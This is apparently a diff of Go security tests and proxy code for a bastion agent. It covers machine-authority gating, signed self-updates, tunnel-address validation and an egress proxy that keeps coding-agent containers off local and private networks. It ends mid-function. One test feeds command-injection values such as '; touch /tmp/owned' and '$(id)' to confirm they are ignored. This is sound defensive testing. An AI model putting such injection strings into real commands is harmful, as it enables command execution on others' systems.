// ── root only where there is no one else to ask ────────────────────────────
func withMachineAuthority(t *testing.T, held bool) {
t.Helper()
old := machineAuthorityHeld
machineAuthorityHeld = func() bool { return held }
t.Cleanup(func() { machineAuthorityHeld = old })
}
// Claiming ownership or the anchor, and turning a box networked, are
// refused without machine authority and write nothing; with it, each gets
// past that wall. Both halves run whatever euid the suite runs under.
func TestMachineWideFactsNeedMachineAuthority(t *testing.T) {
freshBox := func(t *testing.T) {
t.Helper()
t.Setenv("XDG_CONFIG_HOME", t.TempDir())
withMarkerAt(t, filepath.Join(t.TempDir(), "machine.json"))
}
t.Run("claim-owner", func(t *testing.T) {
freshBox(t)
withMachineAuthority(t, false)
if err := cmdClaimOwner("Acme IT"); err == nil || !strings.Contains(err.Error(), "machine authority") {
t.Fatalf("claim-owner without machine authority must be refused: %v", err)
}
if currentOwnerClaim() != nil {
t.Fatal("a refused claim-owner wrote a claim")
}
withMachineAuthority(t, true)
if err := cmdClaimOwner("Acme IT"); err != nil {
t.Fatalf("claim-owner with machine authority: %v", err)
}
if c := currentOwnerClaim(); c == nil || c.Owner != "Acme IT" {
t.Fatalf("the claim was not written: %+v", c)
}
})
t.Run("set-mode networked", func(t *testing.T) {
freshBox(t)
withMachineAuthority(t, false)
if err := setBoxMode(modeNetworked); err == nil || !strings.Contains(err.Error(), "machine authority") {
t.Fatalf("set-mode networked without machine authority must be refused: %v", err)
}
if boxMode() != modeLocal {
t.Fatal("a refused set-mode changed the mode")
}
withMachineAuthority(t, true)
if err := setBoxMode(modeNetworked); err != nil || boxMode() != modeNetworked {
t.Fatalf("set-mode networked with machine authority: %v, mode %s", err, boxMode())
}
})
t.Run("claim-anchor", func(t *testing.T) {
freshBox(t)
withMachineAuthority(t, true)
if err := setBoxMode(modeNetworked); err != nil {
t.Fatal(err)
}
writePairingState(t, tMember, pairingPending)
withMachineAuthority(t, false)
if err := cmdClaimAnchor("", false, "Acme IT", ""); err == nil || !strings.Contains(err.Error(), "machine authority") {
t.Fatalf("claim-anchor without machine authority must be refused: %v", err)
}
if currentAnchor() != nil || currentOwnerClaim() != nil {
t.Fatal("a refused claim-anchor wrote an anchor or an owner claim")
}
if err := cmdRepinAnchor(); err == nil || !strings.Contains(err.Error(), "machine authority") {
t.Fatalf("claim-anchor --repin without machine authority must be refused: %v", err)
}
withMachineAuthority(t, true)
if err := cmdClaimAnchor("", false, "Acme IT", ""); err != nil {
t.Fatalf("claim-anchor with machine authority: %v", err)
}
if a := currentAnchor(); a == nil || a.AnchorHost != tMember {
t.Fatalf("the anchor was not written: %+v", a)
}
// --repin with machine authority gets past that wall and completes: on
// this box it re-pins the anchor to the pairing that already holds it.
if err := cmdRepinAnchor(); err != nil {
t.Fatalf("claim-anchor --repin with machine authority: %v", err)
}
if a := currentAnchor(); a == nil || a.AnchorHost != tMember {
t.Fatalf("--repin moved the anchor: %+v", a)
}
})
}
// ── fixed argv ──────────────────────────────────────────────────────────────
// The allowlisted op ignores what the caller sends: the program it runs is
// given no argument, whatever the job carries. The program is a stand-in on
// a PATH the test owns, which writes down the argv it was given.
func TestTheAllowlistedOpIgnoresTheCallersArguments(t *testing.T) {
t.Setenv("XDG_CONFIG_HOME", t.TempDir())
bin := t.TempDir()
record := filepath.Join(t.TempDir(), "argv")
script := "#!/bin/sh\nprintf '%s\\n' \"$#\" \"$@\" > '" + record + "'\necho up 1 day\n"
if err := os.WriteFile(filepath.Join(bin, "uptime"), []byte(script), 0o755); err != nil {
t.Fatal(err)
}
t.Setenv("PATH", bin)
hostile := []string{"-p", "; touch /tmp/owned", "$(id)", "--help"}
out, errOut, code := driveOp(t, tMember, "uptime", hostile)
if code != 0 || !strings.Contains(out, "up 1 day") {
t.Fatalf("uptime did not run the stand-in: %d %q %q", code, out, errOut)
}
got, err := os.ReadFile(record)
if err != nil {
t.Fatal(err)
}
if strings.TrimSpace(string(got)) != "0" {
t.Fatalf("the allowlisted op passed arguments to its program: %q", got)
}
}
// ── scoped tunnel, at pairing and at start ─────────────────────────────────
// A pairing response whose host_tunnel_ip is not one host's address is
// refused, and no pairing is saved; the same response with a bare address
// pairs. The redeem is served on loopback in place of the platform's ingress.
func TestAPairingResponseWithAWideTunnelAddressSavesNothing(t *testing.T) {
cfgHome := uiTestConfigDir(t)
withMarkerAt(t, filepath.Join(t.TempDir(), "machine.json"))
hostIP := ""
redeem := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
_ = json.NewEncoder(w).Encode(map[string]any{
"operator_crt": "CERT", "ca_crt": "CA", "bearer": "b", "endpoint": "203.0.113.7:51820",
"endpoint_pubkey": testWGKey(t), "bastion_tunnel_ip": "2001:db8::a:1",
"host_tunnel_ip": hostIP, "host_name": "acme.host.privatae.ai",
})
}))
defer redeem.Close()
old := redeemURLBase
redeemURLBase = redeem.URL
t.Cleanup(func() { redeemURLBase = old })
token := "skb_" + base64.RawURLEncoding.EncodeToString([]byte("acme.secret"))
for _, bad := range []string{"2001:db8::e:3/64", "::/0", "2001:db8::e:3/128", "::"} {
hostIP = bad
if _, _, err := pairWithToken(token, false, false); err == nil || !strings.Contains(err.Error(), "not a single host address") {
t.Fatalf("%q: the pairing must be refused for its tunnel address, got %v", bad, err)
}
// Nothing at all: not a pairing, not a grant file, not a key. The
// walk covers what loadPairings would skip.
_ = filepath.Walk(cfgHome, func(path string, fi os.FileInfo, err error) error {
if err == nil && !fi.IsDir() {
t.Errorf("%q: a refused pairing left a file behind: %s", bad, path)
}
return nil
})
}
hostIP = "2001:db8::e:3"
cfg, _, err := pairWithToken(token, false, false)
if err != nil {
t.Fatalf("a bare address must pair: %v", err)
}
if cfg.HostTunnelIP != "2001:db8::e:3" {
t.Fatalf("saved %q", cfg.HostTunnelIP)
}
}
// A pairing file that already holds a wide address (written by an older
// build, or by hand) brings no tunnel up: runPairing refuses before the
// device is raised.
func TestRunPairingRefusesAWideTunnelAddress(t *testing.T) {
uiTestConfigDir(t)
for _, bad := range []string{"2001:db8::e:3/64", "::/0"} {
cfg := &Config{HostName: "acme.host.privatae.ai", WGPrivateKey: testWGKey(t), EndpointPubKey: testWGKey(t),
Endpoint: "203.0.113.7:51820", BastionTunnelIP: "2001:db8::a:1", HostTunnelIP: bad}
ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)
err := runPairing(ctx, cfg)
cancel()
if err == nil || !strings.Contains(err.Error(), "not a single host address") {
t.Fatalf("%q: runPairing must refuse the tunnel address, got %v", bad, err)
}
}
}
+175
View File
@@ -0,0 +1,175 @@
//go:build !windows
package main
// Bastion updates (0.44.0): on an anchored box a move to a NEWER version needs
// no approval, because the release signature is the approval for it. A move to
// an older version, or to one this binary cannot compare with its own, still
// needs the person's approval bound to that version. Tagged !windows for the
// anchored-box fixture (setupBox, anchor_test.go).
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"runtime"
"strings"
"sync/atomic"
"testing"
)
// updateBeat is a heartbeat response directing a self-update and carrying no
// approval.
func updateBeat(version string) []byte {
return []byte(`{"update":{"version":"` + version + `"}}`)
}
// A newer version reaches the signed manifest with no approval. The rest of the
// gate still holds: a member's directive and the local switch both refuse it.
func TestANewerSignedReleaseNeedsNoApproval(t *testing.T) {
setupBox(t)
freshVersionState(t)
t.Cleanup(func() { clearDirectiveRefusal("self-update") })
clientVersion = "0.44.0"
var fetches atomic.Int64
man := httptest.NewServer(signedStub(releaseKindBastion, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fetches.Add(1)
_, _ = w.Write([]byte(`{"version":"0.45.0","binaries":{}}`))
})))
defer man.Close()
manifestURL = man.URL + "/version.json"
maybeSelfUpdate(tMember, "", updateBeat("0.45.0"))
if fetches.Load() != 0 {
t.Fatal("a member's directive must be refused before any fetch, newer version or not")
}
maybeSelfUpdate(tAnchor, "", updateBeat("0.45.0"))
if fetches.Load() != 1 {
t.Fatalf("the anchor's directive to a newer version must reach the signed manifest with no approval, got %d fetches", fetches.Load())
}
if r := directiveRefusalReport(); r != nil {
t.Fatalf("the update passed, so the member's refusal is no longer reported: %v", r)
}
if err := localDenySet(tAnchor, localFamilyDirectives, true); err != nil {
t.Fatal(err)
}
maybeSelfUpdate(tAnchor, "", updateBeat("0.45.0"))
if fetches.Load() != 1 {
t.Fatal("switched off here, a newer version must not fetch either")
}
}
// The host learns the rule from the box itself, on the enforcing report every
// beat carries, so it never has to infer it from a version number. A build
// that cannot read its own version gates every update, and says so.
func TestTheBoxTellsTheHostAForwardUpdateNeedsNoApproval(t *testing.T) {
setupBox(t)
freshVersionState(t)
clientVersion = "0.44.0"
if v, _ := buildEnforcingReport("", nil)["update_forward_needs_no_approval"].(bool); !v {
t.Fatal("the enforcing report must say a forward update needs no approval")
}
for _, own := range []string{"dev", "0.44.0-rc1", ""} {
clientVersion = own
if v, _ := buildEnforcingReport("", nil)["update_forward_needs_no_approval"].(bool); v {
t.Fatalf("a build running %q can compare nothing, so it must not say so", own)
}
}
}
// Older, unstamped and suffixed versions are refused without an approval, and
// the host is told an approval is what is missing. With one, an older version
// proceeds.
func TestAnOlderOrUncomparableVersionStillNeedsAnApproval(t *testing.T) {
setupBox(t)
freshVersionState(t)
t.Cleanup(func() { clearDirectiveRefusal("self-update") })
var fetches atomic.Int64
man := httptest.NewServer(signedStub(releaseKindBastion, http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
fetches.Add(1)
_, _ = w.Write([]byte(`{"version":"0.43.1","binaries":{}}`))
})))
defer man.Close()
manifestURL = man.URL + "/version.json"
cases := []struct{ running, target string }{
{"0.44.0", "0.43.1"}, // older
{"0.44.0", "0.9.0"}, // older, and above 0.44.0 as a string
{"0.44.0", "0.44"}, // the running release, spelled shorter
{"dev", "0.45.0"}, // an unstamped build cannot say what is newer
{"0.44.0", "0.45.0-rc1"}, // nor can a suffixed target
}
for _, c := range cases {
clientVersion = c.running
clearDirectiveRefusal("self-update")
maybeSelfUpdate(tAnchor, "", updateBeat(c.target))
if fetches.Load() != 0 {
t.Fatalf("%s on a box running %s, with no approval, must be refused before any fetch", c.target, c.running)
}
if r := directiveRefusalReport(); r == nil || !strings.Contains(fmt.Sprint(r), "approval") {
t.Fatalf("%s on a box running %s: the host must be told an approval is missing: %v", c.target, c.running, r)
}
}
clientVersion = "0.44.0"
maybeSelfUpdate(tAnchor, "", testDirective(t, directiveSelfUpdate, []string{"0.43.1"}, string(updateBeat("0.43.1"))))
if fetches.Load() != 1 {
t.Fatal("approved, a move to an older version proceeds")
}
}
// Without an approval, the only thing that installs is a newer SIGNED release
// that is exactly the target. A signed manifest for another version (an old one
// served again by a download server, say) is not downloaded, and neither is an
// unsigned manifest for the target itself. The binary's digest never matches
// the payload here, so even a broken gate could not swap the test binary.
func TestTheForwardPathInstallsNothingButTheSignedTarget(t *testing.T) {
setupBox(t)
freshVersionState(t)
t.Cleanup(func() { clearDirectiveRefusal("self-update") })
clientVersion = "0.44.0"
key := runtime.GOOS + "-" + runtime.GOARCH
elsewhere := sha256.Sum256([]byte("some other build"))
var served atomic.Value
var downloads atomic.Int64
mux := http.NewServeMux()
mux.HandleFunc("/version.json", func(w http.ResponseWriter, r *http.Request) {
_ = json.NewEncoder(w).Encode(map[string]any{
"version": served.Load().(string),
"binaries": map[string]any{key: map[string]any{
"url": "http://" + r.Host + "/dl", "sha256": hex.EncodeToString(elsewhere[:])}},
})
})
mux.HandleFunc("/dl", func(w http.ResponseWriter, r *http.Request) {
downloads.Add(1)
_, _ = w.Write([]byte("not the bastion"))
})
signed := httptest.NewServer(signedStub(releaseKindBastion, mux))
defer signed.Close()
unsigned := httptest.NewServer(mux)
defer unsigned.Close()
manifestURL = signed.URL + "/version.json"
served.Store("0.43.1")
maybeSelfUpdate(tAnchor, "", updateBeat("0.45.0"))
if downloads.Load() != 0 {
t.Fatal("a signed manifest for another version must not be downloaded from")
}
manifestURL = unsigned.URL + "/version.json"
served.Store("0.45.0")
maybeSelfUpdate(tAnchor, "", updateBeat("0.45.0"))
if downloads.Load() != 0 {
t.Fatal("an unsigned manifest must not be downloaded from, even for the target")
}
// The control: signed and naming the target, the download does happen (and
// the digest mismatch then stops the swap).
manifestURL = signed.URL + "/version.json"
maybeSelfUpdate(tAnchor, "", updateBeat("0.45.0"))
if downloads.Load() != 1 {
t.Fatalf("a signed manifest naming the target must be downloaded from with no approval, got %d", downloads.Load())
}
}
+85
View File
@@ -0,0 +1,85 @@
package main
// Verified releases: the self-updater checks the binary's SHA-256 against the
// signed manifest before anything is swapped. Driven through maybeSelfUpdate
// with a signed manifest served on loopback; a digest that does not match the
// downloaded bytes must leave the running binary exactly as it was.
import (
"crypto/sha256"
"encoding/hex"
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"runtime"
"sync/atomic"
"testing"
)
func TestADigestMismatchNeverSwapsTheBinary(t *testing.T) {
uiTestConfigDir(t) // a local, unanchored box: the directive gate passes
freshVersionState(t)
t.Cleanup(func() { clearDirectiveRefusal("self-update") })
clientVersion = "0.1.0"
self, err := resolvedSelf()
if err != nil {
t.Fatal(err)
}
before, err := os.ReadFile(self)
if err != nil {
t.Fatal(err)
}
payload := []byte("not the bastion")
right := sha256.Sum256(payload)
other := sha256.Sum256([]byte("some other build"))
cases := []struct{ name, digest string }{
{"another build's digest", hex.EncodeToString(other[:])},
{"no digest", ""},
{"a truncated digest", hex.EncodeToString(right[:])[:63]},
{"half the digest", hex.EncodeToString(right[:16])},
}
for _, c := range cases {
t.Run(c.name, func(t *testing.T) {
var downloads atomic.Int64
mux := http.NewServeMux()
var srv *httptest.Server
mux.HandleFunc("/version.json", func(w http.ResponseWriter, r *http.Request) {
key := runtime.GOOS + "-" + runtime.GOARCH
if runtime.GOOS == "windows" {
key += ".exe"
}
_ = json.NewEncoder(w).Encode(map[string]any{
"version": "0.2.0",
"binaries": map[string]any{key: map[string]any{"url": srv.URL + "/dl", "sha256": c.digest}},
})
})
mux.HandleFunc("/dl", func(w http.ResponseWriter, r *http.Request) {
downloads.Add(1)
_, _ = w.Write(payload)
})
srv = httptest.NewServer(signedStub(releaseKindBastion, mux))
defer srv.Close()
manifestURL = srv.URL + "/version.json"
// A swap would exit this process; returning at all is the first half
// of the assertion.
maybeSelfUpdate("h.host.privatae.ai", "", []byte(`{"update":{"version":"0.2.0"}}`))
if downloads.Load() != 1 {
t.Fatalf("the update must get as far as the download for this to test the digest (%d downloads)", downloads.Load())
}
after, err := os.ReadFile(self)
if err != nil {
t.Fatal(err)
}
if sha256.Sum256(after) != sha256.Sum256(before) {
t.Fatal("the running binary changed after a digest mismatch")
}
if _, err := os.Stat(self + ".old"); err == nil {
t.Fatal("the running binary was moved aside after a digest mismatch")
}
})
}
}
+385
View File
@@ -0,0 +1,385 @@
package main
// coder_egress.go — a coder run's ONLY way out: egress.sock.
//
// The container runs with --network none (service.go measured why: the
// default bridge reaches the machine's LAN address and its own services, an
// --internal network still reaches the machine through its gateway, none
// reaches nothing). Its sidecar points HTTP(S)_PROXY at a loopback forwarder
// that carries each connection to this unix socket, and this proxy dials out
// over the machine's own connection.
//
// THE VETTING APPLIES ALWAYS, anchored box or not. The egress lane
// (egress.go) only vets on an anchored box, because on a local box the host
// using it is the person's own. A coding agent is not the person: it runs
// whatever a prompt or a repository talks it into, so this proxy reaches the
// public internet and nothing else — not this machine, not its LAN, not the
// cloud metadata address, nor any address this machine takes as its own (a
// public one on a NIC, or a range a `local` route delivers here; ownaddr.go)
// — unless the owner named the host in allow_lan.
// Every address a name resolves to is checked, and the address checked is the
// address dialled (egress.go's rebinding rule).
import (
"bufio"
"context"
"errors"
"net"
"os"
"path/filepath"
"strconv"
"strings"
"sync"
"sync/atomic"
"time"
)
// The seams: how a name is resolved and how the vetted address is dialled.
var (
coderResolve = func(ctx context.Context, host string) ([]net.IP, error) {
addrs, err := net.DefaultResolver.LookupIPAddr(ctx, host)
if err != nil {
return nil, err
}
out := make([]net.IP, 0, len(addrs))
for _, a := range addrs {
out = append(out, a.IP)
}
return out, nil
}
coderDialOut egressDialer = (&net.Dialer{Timeout: egressDialTimeout}).DialContext
)
// coderInternalIP is internalIP (egress.go) plus the IPv6 forms that carry an
// IPv4 address and are not covered there: IPv4-compatible ::a.b.c.d (::/96),
// IPv4-translated ::ffff:0:a.b.c.d, and the deprecated site-local fec0::/10.
// IPv4-mapped ::ffff:a.b.c.d is covered by internalIP through To4.
func coderInternalIP(ip net.IP) bool {
if internalIP(ip) {
return true
}
if ip.To4() != nil || len(ip) != net.IPv6len {
return false
}
zero := true
for _, b := range ip[:12] {
if b != 0 {
zero = false
break
}
}
if zero {
return true // ::/96 — never a public host
}
if ip[0] == 0 && ip[1] == 0 && ip[2] == 0 && ip[3] == 0 && ip[4] == 0 && ip[5] == 0 &&
ip[6] == 0 && ip[7] == 0 && ip[8] == 0xff && ip[9] == 0xff && ip[10] == 0 && ip[11] == 0 {
return true // ::ffff:0:0/96
}
if ip[0] == 0xfe && ip[1]&0xc0 == 0xc0 {
return true // fec0::/10
}
return false
}
// coderLANAllowed: the owner's allow_lan names this requested host (an entry
// with a port must match host:port, one without matches any port).
func coderLANAllowed(allowLAN []string, host, port string) bool {
h := strings.ToLower(strings.Trim(host, "[]"))
for _, e := range allowLAN {
e = strings.ToLower(strings.TrimSpace(e))
if e == "" {
continue
}
eh, ep, err := net.SplitHostPort(e)
if err != nil {
eh, ep = strings.Trim(e, "[]"), ""
}
if eh == h && (ep == "" || ep == port) {
return true
}
}
return false
}
// coderVettedAddr: ("ip:port", "") to dial first, or ("", the refusal).
func coderVettedAddr(ctx context.Context, hostport string, allowLAN []string) (string, string) {
all, why := coderVettedAddrs(ctx, hostport, allowLAN)
if why != "" {
return "", why
}
return all[0], ""
}
// coderVettedAddrs: every "ip:port" the name resolved to, IPv4 first, or the
// refusal. Refuses localhost names, names it cannot resolve, and any name
// with even ONE internal address or ONE address the kernel delivers to this
// machine. Only these addresses are ever dialled, never the name again;
// trying each in turn lets a run reach a dual-stack
// site from a machine whose IPv6 goes nowhere.
func coderVettedAddrs(ctx context.Context, hostport string, allowLAN []string) ([]string, string) {
host, port, err := net.SplitHostPort(hostport)
if err != nil {
return nil, "refused: not a host:port"
}
host = strings.Trim(strings.TrimSpace(host), "[]")
if n, err := strconv.Atoi(port); err != nil || n < 1 || n > 65535 {
return nil, "refused: bad port"
}
if host == "" {
return nil, "refused: no host"
}
lh := strings.ToLower(strings.TrimSuffix(host, "."))
lanOK := coderLANAllowed(allowLAN, host, port)
if !lanOK && (lh == "localhost" || strings.HasSuffix(lh, ".localhost")) {
return nil, "refused: this machine is not reachable from a coder run"
}
var addrs []net.IP
if ip := net.ParseIP(host); ip != nil {
addrs = []net.IP{ip}
} else {
resolved, err := coderResolve(ctx, host)
if err != nil || len(resolved) == 0 {
return nil, "refused: the name does not resolve on this machine"
}
addrs = resolved
}
if !lanOK {
for _, ip := range addrs {
if coderInternalIP(ip) {
return nil, "refused: a coder run reaches the public internet only, never this machine, its network or a private range"
}
}
// The classes above miss this machine when it holds a PUBLIC address
// on one of its interfaces (a VPS, a server with its own IP), or when
// the kernel delivers a whole range locally through a `local` route
// (AnyIP): a service listening on 0.0.0.0 answers there. ownDestination
// (ownaddr.go) asks both.
own, err := ownDestination(addrs)
if err != nil {
return nil, "refused: this machine could not tell whether the destination is itself, so it cannot be vetted"
}
if own {
return nil, "refused: a coder run reaches the public internet only, never this machine, its network or a private range"
}
}
var v4, v6 []string
for _, ip := range addrs {
if ip.To4() != nil {
v4 = append(v4, net.JoinHostPort(ip.String(), port))
} else {
v6 = append(v6, net.JoinHostPort(ip.String(), port))
}
}
return append(v4, v6...), ""
}
func coderRefuse(c net.Conn, why string) {
_, _ = c.Write([]byte("HTTP/1.1 403 Forbidden\r\nContent-Length: 0\r\nConnection: close\r\nX-Privatae-Refused: " +
strings.NewReplacer("\r", " ", "\n", " ").Replace(why) + "\r\n\r\n"))
}
// handleCoderEgressConn serves one connection from a run: HTTP CONNECT or an
// absolute-form plain HTTP request, the same parsing as handleEgressConn.
// Destinations are never logged; refusals are counted on the run.
func handleCoderEgressConn(client net.Conn, allowLAN []string, refused *int64) {
defer client.Close()
_ = client.SetReadDeadline(time.Now().Add(30 * time.Second))
br := bufio.NewReader(client)
line, err := br.ReadString('\n')
if err != nil {
return
}
parts := strings.Fields(strings.TrimSpace(line))
if len(parts) < 2 {
return
}
method, target := parts[0], parts[1]
var head strings.Builder
head.WriteString(line)
hostHdr := ""
for {
h, err := br.ReadString('\n')
if err != nil {
return
}
head.WriteString(h)
if h == "\r\n" || h == "\n" {
break
}
if head.Len() > 64<<10 {
return
}
if len(h) >= 5 && strings.EqualFold(h[:5], "host:") {
hostHdr = strings.TrimSpace(h[5:])
}
}
_ = client.SetReadDeadline(time.Time{})
ctx, cancel := context.WithTimeout(context.Background(), egressDialTimeout)
defer cancel()
connect := strings.EqualFold(method, "CONNECT")
hp := ""
if connect {
hp = ensurePort(target, "443")
} else {
host := hostHdr
if i := strings.Index(target, "://"); i >= 0 {
rest := target[i+3:]
if s := strings.IndexAny(rest, "/?#"); s >= 0 {
host = rest[:s]
} else {
host = rest
}
if at := strings.LastIndexByte(host, '@'); at >= 0 {
host = host[at+1:]
}
}
if host == "" {
return
}
hp = ensurePort(host, "80")
}
dialAddrs, why := coderVettedAddrs(ctx, hp, allowLAN)
if why != "" {
atomic.AddInt64(refused, 1)
coderRefuse(client, why)
return
}
var upstream net.Conn
err = errors.New("no address")
for i, a := range dialAddrs {
// Each address gets an even share of what is left of the dial budget,
// so one that black-holes cannot use it all.
actx, acancel := ctx, context.CancelFunc(func() {})
if left := len(dialAddrs) - i; left > 1 {
if dl, ok := ctx.Deadline(); ok {
actx, acancel = context.WithTimeout(ctx, time.Until(dl)/time.Duration(left))
}
}
upstream, err = coderDialOut(actx, "tcp", a)
acancel()
if err == nil {
break
}
}
if err != nil {
_, _ = client.Write([]byte("HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\nConnection: close\r\n\r\n"))
return
}
if connect {
if _, err := client.Write([]byte("HTTP/1.1 200 Connection established\r\n\r\n")); err != nil {
_ = upstream.Close()
return
}
} else if _, err := upstream.Write([]byte(head.String())); err != nil {
_ = upstream.Close()
return
}
splice(br, client, upstream)
}
// The live proxies, one per run, in this daemon.
type coderEgressRun struct {
ln net.Listener
refused int64
}
var (
coderEgressMu sync.Mutex
coderEgress = map[string]*coderEgressRun{}
)
// coderListenEgress opens <dir>/egress.sock for one run: owned by the
// engine's uid, 0600, so only the run's own processes can connect.
func coderListenEgress(runID, dir string, uid int) error {
coderEgressMu.Lock()
defer coderEgressMu.Unlock()
if old, ok := coderEgress[runID]; ok {
_ = old.ln.Close()
delete(coderEgress, runID)
}
p := filepath.Join(dir, coderEgressSock)
_ = os.Remove(p)
ln, err := coderListenUnix(dir, coderEgressSock)
if err != nil {
return err
}
if ul, ok := ln.(*net.UnixListener); ok {
ul.SetUnlinkOnClose(false) // run-down removes the directory; a restart re-listens
}
if err := os.Chmod(p, 0o600); err != nil {
_ = ln.Close()
return err
}
if err := coderChown(p, uid, uid); err != nil {
_ = ln.Close()
return err
}
run := &coderEgressRun{ln: ln}
coderEgress[runID] = run
go func() {
for {
c, err := ln.Accept()
if err != nil {
return
}
// allow_lan is read per connection: the owner's edit applies to
// running runs at once.
go handleCoderEgressConn(c, loadCoderConfig().AllowLAN, &run.refused)
}
}()
return nil
}
// coderCloseEgress stops one run's proxy and returns how many requests it
// refused (0 when this daemon held no proxy for it).
func coderCloseEgress(runID string) int64 {
coderEgressMu.Lock()
defer coderEgressMu.Unlock()
run, ok := coderEgress[runID]
if !ok {
return 0
}
_ = run.ln.Close()
delete(coderEgress, runID)
return atomic.LoadInt64(&run.refused)
}
// coderReconcileEgress makes the live proxies match the records: a run that
// outlived a daemon restart gets its proxy back, and a run whose record was
// removed by another process (the CLI's `coders drop`) loses it.
func coderReconcileEgress() {
recs := loadCoderRecords()
want := map[string]coderRecord{}
for _, r := range recs {
want[r.RunID] = r
}
coderMu.Lock()
starting := map[string]bool{}
for id := range coderStarting {
starting[id] = true
}
coderMu.Unlock()
coderEgressMu.Lock()
var drop []string
for id := range coderEgress {
if _, ok := want[id]; !ok && !starting[id] {
drop = append(drop, id)
}
}
var add []coderRecord
for id, r := range want {
if _, ok := coderEgress[id]; !ok {
add = append(add, r)
}
}
coderEgressMu.Unlock()
for _, id := range drop {
coderCloseEgress(id)
}
for _, r := range add {
if R, err := coderRunDir(r.RunID); err == nil {
_ = coderListenEgress(r.RunID, filepath.Join(R, "egress"), r.UID)
}
}
}
+151
View File
@@ -0,0 +1,151 @@
package main
// coder_forward.go — how the Host reaches a coder run's control plane.
//
// One tunnel port per run (18200-18299), listened on the OWNING pairing's
// netstack only, spliced to the run's control.sock. Every accepted connection
// is checked again: the pairing still holds mode:coder, the run is still this
// pairing's and not past its deadline, and the connection comes from the
// pairing's own host tunnel address. The splice pins the socket's inode and
// checks the far end is the engine's uid (spliceUnix, service.go), because the
// container owns the directory the socket lives in.
import (
"context"
"fmt"
"net"
"net/netip"
"path/filepath"
"sync"
"time"
"golang.zx2c4.com/wireguard/tun/netstack"
)
// coderForwardRefusal is the per-connection wall: "" to splice, else why not.
func coderForwardRefusal(self string, rec *coderRecord, remote, hostTunnel netip.Addr, now time.Time) string {
if why := capsAllow(self, coderGateOp); why != "" {
return why
}
if rec == nil {
return "no such run"
}
if rec.Owner != self {
return "the run belongs to another host"
}
if dl, err := time.Parse(time.RFC3339, rec.Deadline); err != nil || now.After(dl) {
return "the run is past its deadline"
}
if !hostTunnel.IsValid() || remote.Unmap() != hostTunnel.Unmap() {
return "the connection does not come from this host's tunnel address"
}
return ""
}
// coderRemoteAddr is the peer address of an accepted connection.
func coderRemoteAddr(c net.Conn) netip.Addr {
if ta, ok := c.RemoteAddr().(*net.TCPAddr); ok {
if a, ok := netip.AddrFromSlice(ta.IP); ok {
return a.Unmap()
}
}
if ap, err := netip.ParseAddrPort(c.RemoteAddr().String()); err == nil {
return ap.Addr().Unmap()
}
return netip.Addr{}
}
// coderListenFunc opens a listener on the pairing's side of the tunnel.
type coderListenFunc func(port int) (net.Listener, error)
// serveCoderForwards listens on the pairing's tunnel stack, one port per run
// this pairing owns (the fifth gated forward; claims_static_test.go).
func serveCoderForwards(ctx context.Context, self, hostTunnelIP string, tnet *netstack.Net, gwIP netip.Addr) {
serveCoderForwardsOn(ctx, self, hostTunnelIP, func(port int) (net.Listener, error) {
return tnet.ListenTCP(&net.TCPAddr{IP: gwIP.AsSlice(), Port: port})
})
}
// serveCoderForwardsOn keeps one listener per run this pairing owns, re-read
// from the records every serviceForwardPoll (a run brought up by a harness job
// becomes reachable within that interval; one taken down disappears).
func serveCoderForwardsOn(ctx context.Context, self, hostTunnelIP string, listen coderListenFunc) {
hostTunnel, _ := netip.ParseAddr(hostTunnelIP)
type fwd struct {
port int
ln net.Listener
}
var mu sync.Mutex
live := map[string]*fwd{}
defer func() {
mu.Lock()
for id, f := range live {
_ = f.ln.Close()
delete(live, id)
}
mu.Unlock()
}()
var lastWhy string
reconcile := func() {
want := map[string]int{}
for _, r := range loadCoderRecords() {
if r.Owner == self && r.TunnelPort >= coderPortBase && r.TunnelPort <= coderPortMax {
want[r.RunID] = r.TunnelPort
}
}
mu.Lock()
defer mu.Unlock()
for id, f := range live {
if p, ok := want[id]; !ok || p != f.port {
_ = f.ln.Close()
delete(live, id)
}
}
for id, p := range want {
if _, ok := live[id]; ok {
continue
}
ln, err := listen(p)
if err != nil {
continue // retried next poll
}
live[id] = &fwd{port: p, ln: ln}
go func(runID string, ln net.Listener) {
for {
in, err := ln.Accept()
if err != nil {
return
}
rec, _ := loadCoderRecord(runID)
if why := coderForwardRefusal(self, rec, coderRemoteAddr(in), hostTunnel, coderNow()); why != "" {
_ = in.Close()
mu.Lock()
if why != lastWhy {
fmt.Printf("[%s] coder forward: %s\n", self, why)
lastWhy = why
}
mu.Unlock()
continue
}
R, err := coderRunDir(runID)
if err != nil {
_ = in.Close()
continue
}
go spliceUnix(in, filepath.Join(R, "ctl", coderControlSock), rec.UID)
}
}(id, ln)
}
}
reconcile()
t := time.NewTicker(serviceForwardPoll)
defer t.Stop()
for {
select {
case <-ctx.Done():
return
case <-t.C:
reconcile()
}
}
}
+366
View File
@@ -0,0 +1,366 @@
package main
// coder_grant.go — the STANDING CODER GRANT on an anchored box.
//
// Before coder mode, every harness run on an anchored box spent a fresh
// approval from the person (harness.go harnessGate). A Host that places 20
// coding runs on a machine cannot ask its owner 20 times, so the person
// approves ONCE: this host may start coder runs here, of these engines, at most
// this many at a time, until this date. `privatae-bastion coders drop` (or the
// host's revoke, coder_grant_drop) takes it back.
//
// Built exactly like the service reach grant (service_reach.go): the same
// <pairing dir>/grants.json (a `coder` map), grantsMu, the pinned entity key,
// the KIND checked, the SUBJECT enforced (a host installs only its own grant),
// and the box's own approval spent once at install.
import (
"encoding/base64"
"encoding/json"
"fmt"
"os"
"sort"
"strconv"
"strings"
"time"
"github.com/gorilla/websocket"
)
const coderGrantKind = "coder_grant"
// coderTerms is parsed FROM the verified canonical bytes — never from anything else.
type coderTerms struct {
Kind string `json:"kind"`
Server string `json:"server"`
Subject string `json:"subject"`
Engines []string `json:"engines"`
Max int `json:"max"`
Expires string `json:"expires"`
TTLDays int `json:"ttl_days,omitempty"`
Approval string `json:"approval,omitempty"`
}
// coderVerifyRec verifies one coder grant: signature, kind, a stated future
// expiry, and well-formed terms. Re-run on every use.
func coderVerifyRec(pinnedKeyB64 string, rec dcnGrantRec) (*coderTerms, error) {
canonical, err := verifySignedUnexpired(pinnedKeyB64, rec)
if err != nil {
return nil, err
}
